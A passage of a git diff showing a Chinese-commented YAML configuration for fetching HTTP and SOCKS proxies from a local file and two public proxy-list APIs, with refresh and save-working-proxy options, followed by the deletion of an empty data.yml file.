从本地读取 - # 3 - File + API - 两种方式同时获取 - GetType: 1 - # 代理类型: - # 1 - HTTP/HTTPS - # 2 - SOCKS4 - # 3 - SOCKS5 - ProxyType: 1 - UpdateTime: 300 - File: "proxies.txt" - APIs: - - "http://www.66ip.cn/mo.php?tqsl=9999" - - "https://www.89ip.cn/tqdl.html?api=1&num=9999" - # 保存能连接到目标服务器的代理地址 (如果支持) - # 位置: working-proxies.txt - SaveWorkingProxy: true \ No newline at end of file diff --git a/src/data.yml b/src/data.yml deleted file mode 100644 index 8d15fb8..0000000 --- a/src/data.yml +++ /dev/null @@ -1 +0,0 @@ -Data: [] \ No newline at end of file